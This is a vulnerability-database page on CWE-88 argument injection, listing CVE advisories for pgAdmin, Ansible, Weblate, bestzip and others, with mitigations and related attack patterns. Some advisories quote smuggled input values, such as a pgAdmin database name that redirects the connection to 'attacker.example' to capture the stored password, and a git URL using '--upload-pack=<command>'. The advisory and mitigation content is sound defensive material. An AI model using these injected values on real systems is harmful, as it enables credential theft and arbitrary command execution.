Common Weakness Enumeration
CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
708 vulnerabilities reference this CWE, most recent first.
CVE-2026-86862 (GCVE-0-2026-86862)
Vulnerability from cvelistv5 – Published: 2026-09-17 15:30 – Updated: 2026-09-17 16:02
VLAI
EPSS
VEX
Title
pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Summary
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-17 16:02 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/pgadmin-org/pgadmin4/issues/10388 | issue-tracking |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Affected:
0 , < 9.18
(custom)
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CVE-2026-86060 (GCVE-0-2026-86060)
Vulnerability from cvelistv5 – Published: 2026-09-05 20:00 – Updated: 2026-09-11 03:55
VLAI
EPSS
VEX
Title
SSH session privilege manipulation via a crafted username in Mikrotik RouterOS
Summary
RouterOS contains an argument-handling flaw in the SSH login
path involving usernames that begin with a prohibited character, allowing for the trusted RouterOS policy mask to be changed, leading to privilege escalation. Exploitation requires an unauthenticated SSH session to reach the RouterOS login helper.This issue was fixed in versions: 6.49.21 (Long-term), 7.23.4 (Long-term) and 7.24.2 (Stable)
Severity
SSVC
Exploitation: active
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 00:00 UTC
CWE
- CWE-88 - Improper neutralization of argument delimiters in a command ('argument injection')
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve | third-party-advisory |
| https://cert.pl/en/posts/2026/09/vulnerabilities-… | technical-description |
| https://npratley.net/reversing-mikrotiks-silent-p… | exploit |
| https://mikrotik.com/supportsec/september-2026-vu… | vendor-advisory |
| https://forum.mikrotik.com/t/6-49-21-long-term-is… | release-notes |
| https://forum.mikrotik.com/t/7-23-4-long-term-is-… | release-notes |
| https://forum.mikrotik.com/t/7-24-2-stable-is-rel… | release-notes |
| https://www.cisa.gov/known-exploited-vulnerabilit… | government-resource |
Impacted products
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CVE-2026-86035 (GCVE-0-2026-86035)
Vulnerability from cvelistv5 – Published: 2026-09-29 14:58 – Updated: 2026-09-29 14:58
VLAI
EPSS
VEX
Title
Weblate: Mercurial argument injection via repository filenames allows authenticated command execution
Summary
Weblate is a web-based continuous localization platform used to manage software translations. Weblate 4.11.1 through 2026.7.1 contains an argument-injection vulnerability in its Mercurial backend. Repository filenames beginning with - could be interpreted as Mercurial options instead of literal paths. An authenticated user with project-scoped component.edit permission could exploit this through a Mercurial-backed RESX component using the Update RESX files add-on. A later repository update could execute arbitrary commands with the privileges of the Weblate service account. This is a residual incomplete fix for CVE-2022-23915. This issue has been patched in version 2026.8.
Severity
8.5 (High)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/WeblateOrg/weblate/security/ad… | x_refsource_CONFIRM |
| https://github.com/WeblateOrg/weblate/pull/20768 | x_refsource_MISC |
| https://github.com/WeblateOrg/weblate/commit/f60a… | x_refsource_MISC |
| https://github.com/WeblateOrg/weblate/releases/ta… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| WeblateOrg | weblate |
Affected:
>= 4.11.1, < 2026.8
|
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CVE-2026-85626 (GCVE-0-2026-85626)
Vulnerability from cvelistv5 – Published: 2026-09-04 14:32 – Updated: 2026-10-01 18:39
VLAI
EPSS
VEX
Title
git-mcp-server 2.15.1 Argument Injection via Git Ref Parameters
Summary
git-mcp-server 2.15.1 contains an argument injection vulnerability in the ref and object parameters of git_log, git_diff, and git_show tools that lack leading-dash validation. Attackers can inject git command-line options like --output= to write files outside the repository to arbitrary paths accessible by the process.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 16:55 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/cyanheads/git-mcp-server/issues/53 | issue-tracking |
| https://github.com/cyanheads/git-mcp-server | product |
| https://github.com/cyanheads/git-mcp-server/blob/… | technical-description |
| https://github.com/cyanheads/git-mcp-server/blob/… | technical-description |
| https://www.vulncheck.com/advisories/git-mcp-serv… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| cyanheads | git-mcp-server |
Affected:
0 , ≤ 2.15.3
(semver)
|
Date Public
2026-07-08 00:00
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CVE-2026-84724 (GCVE-0-2026-84724)
Vulnerability from cvelistv5 – Published: 2026-09-23 19:40 – Updated: 2026-09-26 22:51
VLAI
EPSS
VEX
Title
Automation-controller: automation-controller: systemjob extra_vars.days argument injection into uncontainerized control-plane awx-manage process
Summary
An argument-injection flaw was found in the Ansible Automation Platform automation-controller
system-job subsystem. The system-job template launch endpoint stores a user-supplied "days"
variable without running the integer validation defined elsewhere for that field, and the
dispatcher flattens the management-command argument list into a single string with spaces before
the job runner re-splits it, so spaces in the value become additional command-line arguments.
Because system jobs are executed in-process on the control node without the container isolation
applied to all other job types, an authenticated user with superuser privileges can inject
arbitrary arguments — including Python's path option — into the control-plane awx-manage process,
controlling its argument vector and the first entry of its module search path. Full remote code
execution requires an additional import gadget that is not present in the current management
commands, so the demonstrated impact is argument injection with control of the process search
path rather than confirmed code execution.
Severity
6.6 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-26 22:46 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:71113 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71114 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71177 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71179 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/security/cve/CVE-2026-84724 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2527222 | issue-trackingx_refsource_REDHAT |
Impacted products
5 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:4.6.33-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:4.6.33-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:4.7.17-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el10 cpe:/a:redhat:ansible_automation_platform:2.6::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1789673739 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.7 |
Unaffected:
1789580684 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.7::el9 |
Date Public
2026-09-23 00:00
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CVE-2026-84502 (GCVE-0-2026-84502)
Vulnerability from cvelistv5 – Published: 2026-09-23 18:47 – Updated: 2026-09-24 05:58
VLAI
EPSS
VEX
Title
Automation-controller: automation-controller-container: automation-controller: project scm_url argument injection into `git ls-remote --upload-pack` yields rce on the controller-task control-plane pod
Summary
A flaw was found in Red Hat Ansible Automation Platform's automation-
controller. The Project scm_url field is not validated against values that
begin with a dash and is stored and passed verbatim to the git SCM module.
Because the module runs git ls-remote with the URL as a positional argument and
without a "--" separator, a git project URL such as "--upload-pack=<command>:x"
is interpreted by git as the --upload-pack option and executed via a shell. A
user with permission to create or modify a project in a single organization can
thereby execute arbitrary commands on the control-plane task pod, with output
reflected through the project update stdout endpoint, leading to cross-tenant
compromise and in-cluster lateral movement
Severity
9.9 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-23 19:29 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:71113 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71114 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71115 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71177 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:71179 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/security/cve/CVE-2026-84502 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2527096 | issue-trackingx_refsource_REDHAT |
Impacted products
7 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat | Red Hat Ansible Automation Platform 2.4 for RHEL 8 |
Unaffected:
0:4.5.36-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.4::el8 cpe:/a:redhat:ansible_automation_platform:2.4::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.4::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.4::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.4 for RHEL 9 |
Unaffected:
0:4.5.36-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.4::el8 cpe:/a:redhat:ansible_automation_platform:2.4::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.4::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.4::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
Unaffected:
0:4.6.33-1.el8ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
Unaffected:
0:4.6.33-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
Unaffected:
0:4.7.17-1.el9ap , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el10 cpe:/a:redhat:ansible_automation_platform:2.6::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1789673739 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.7 |
Unaffected:
1789580684 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.7::el9 |
Date Public
2026-09-23 00:00
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CVE-2026-84256 (GCVE-0-2026-84256)
Vulnerability from cvelistv5 – Published: 2026-09-07 07:55 – Updated: 2026-09-08 15:00
VLAI
EPSS
VEX
Summary
An argument parsing issue in OpenVPN 2.1_rc10 through 2.6.22 and 2.7_alpha1 through 2.7.6 on Windows allows remote authenticated users to execute arbitrary commands via a crafted certificate subject
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 15:00 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://community.openvpn.net/Security%20Announce… | vendor-advisory |
Impacted products
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CVE-2026-81529 (GCVE-0-2026-81529)
Vulnerability from cvelistv5 – Published: 2026-08-27 18:32 – Updated: 2026-08-28 16:37
VLAI
EPSS
VEX
Title
Connection-option injection via unescaped settings in the canonical MongoDB URL builder
Summary
Improper neutralization of delimiters in connection-URL construction allows connection-option injection in the MongoDB C# Driver. When an application passes untrusted text into the driver's connection-URL builder and round-trips the builder back into a client configuration, the untrusted text is serialized without neutralizing the URL/option delimiters and is then re-parsed as authoritative connection options. A low-privileged user of such an application can thereby introduce or suppress security-relevant connection settings.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-28 15:56 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
Impacted products
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CVE-2026-80427 (GCVE-0-2026-80427)
Vulnerability from cvelistv5 – Published: 2026-08-26 15:44 – Updated: 2026-08-29 11:48
VLAI
EPSS
VEX
Title
bestzip before 2.2.6 and 3.0.x before 3.0.2 Argument Injection via Missing Option Delimiter
Summary
bestzip builds the argument list for the system zip utility without separating options from operands. The destination archive path and the caller-supplied source paths are passed to the child process with no -- delimiter between them, so any source entry beginning with a hyphen is interpreted by zip as an option rather than a file name. zip accepts -T to test the finished archive and -TT to name the command used to perform that test, so a source list containing those two entries and a command string causes zip to run that command through a shell once the archive has been written. An application that passes a file name or path it received from an untrusted source into the bestzip API therefore executes a command of the supplier's choosing. Versions 2.2.6 and 3.0.2 add the delimiter.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-26 16:03 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/nfriedly/node-bestzip | product |
| https://github.com/nfriedly/node-bestzip/security… | vendor-advisory |
| https://www.npmjs.com/package/bestzip | product |
| https://www.vulncheck.com/advisories/bestzip-befo… | third-party-advisory |
Impacted products
Date Public
2026-08-26 00:00
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CVE-2026-79685 (GCVE-0-2026-79685)
Vulnerability from cvelistv5 – Published: 2026-09-01 14:25 – Updated: 2026-09-01 15:29
VLAI
EPSS
VEX
Summary
Dell PowerStore contains an Argument Injection vulnerability. An authenticated user with limited privileges could potentially exploit this vulnerability to gain unauthorized access to sensitive sensitive system information.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 15:28 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.dell.com/support/kbdoc/en-us/00049782… | vendor-advisory |
Impacted products
24 products
| Vendor | Product | Version | |
|---|---|---|---|
| Dell | PowerStore 500T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 1000T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 1200T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 3000T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 3200Q |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 3200T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 5000T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 5200Q |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 5200T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 7000T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 9000T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 9200T |
Affected:
0 , < 4.1.0.6-2771237 or later
(semver)
|
|
| Dell | PowerStore 500T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 1000T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 1200T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 3000T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 3200Q |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 3200T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 5000T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 5200Q |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 5200T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 7000T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 9000T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
|
| Dell | PowerStore 9200T |
Affected:
0 , < 4.3.1.2-2771239 or later
(semver)
|
Date Public
2026-08-27 06:30
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Mitigation
Implementation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Architecture and Design
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
Implementation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
Implementation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.